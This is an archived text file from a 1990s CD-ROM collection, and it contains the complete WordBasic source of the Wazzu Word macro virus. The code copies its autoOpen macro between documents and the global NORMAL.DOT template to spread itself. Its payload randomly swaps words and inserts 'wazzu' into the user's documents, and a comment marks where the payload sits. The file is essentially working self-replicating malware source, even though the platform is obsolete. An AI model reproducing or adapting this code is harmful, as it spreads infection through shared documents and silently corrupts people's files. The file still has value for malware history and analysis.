home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / WAZZU.ZIP / WAZZU.TXT < prev   
Text File  |  1996-04-27  |  1KB  |  59 lines
  1. Sub MAIN
  2.         On Error Goto errCaught
  3.                 
  4.         FileSummaryInfo .Update
  5.         Dim dlg As FileSummaryInfo
  6.         GetCurValues dlg
  7.  
  8.         fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
  9.         globMacro$ = "Global:autoOpen"
  10.         MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))
  11.  
  12.         If MacroFile$ = "NORMAL.DOT" Then
  13.                 MacroCopy globMacro$, fileMacro$
  14.                 FileSaveAs .Format = 1
  15.         Else
  16.                 MacroCopy fileMacro$, globMacro$
  17.         End If
  18.  
  19.         Payload
  20.  
  21. Goto bye
  22. errCaught:
  23.  
  24. bye:
  25.         On Error Goto 0
  26.  
  27. End Sub
  28.  
  29. Sub Payload
  30.         For i = 1 To 3
  31.                 If Rnd() < 0.2 Then
  32.                         RndWord
  33.                         SelectCurWord
  34.                         selWord$ = Selection$()
  35.                         DeleteWord
  36.  
  37.                         RndWord
  38.                         Insert selWord$ + " "
  39.                 End If
  40.         Next
  41.  
  42.         If Rnd() < 0.25 Then
  43.                 RndWord
  44.                 Insert "wazzu "  <-------------------here's the payload
  45.                 StartOfDocument
  46.         End If
  47.  
  48. End Sub
  49.  
  50. Sub RndWord
  51.         FileSummaryInfo .Update
  52.         Dim dlg As DocumentStatistics
  53.         GetCurValues dlg
  54.  
  55.         wordNum = Int(Rnd() * Val(dlg.Words))
  56.         StartOfDocument
  57.         WordRight wordNum
  58. End Sub
  59.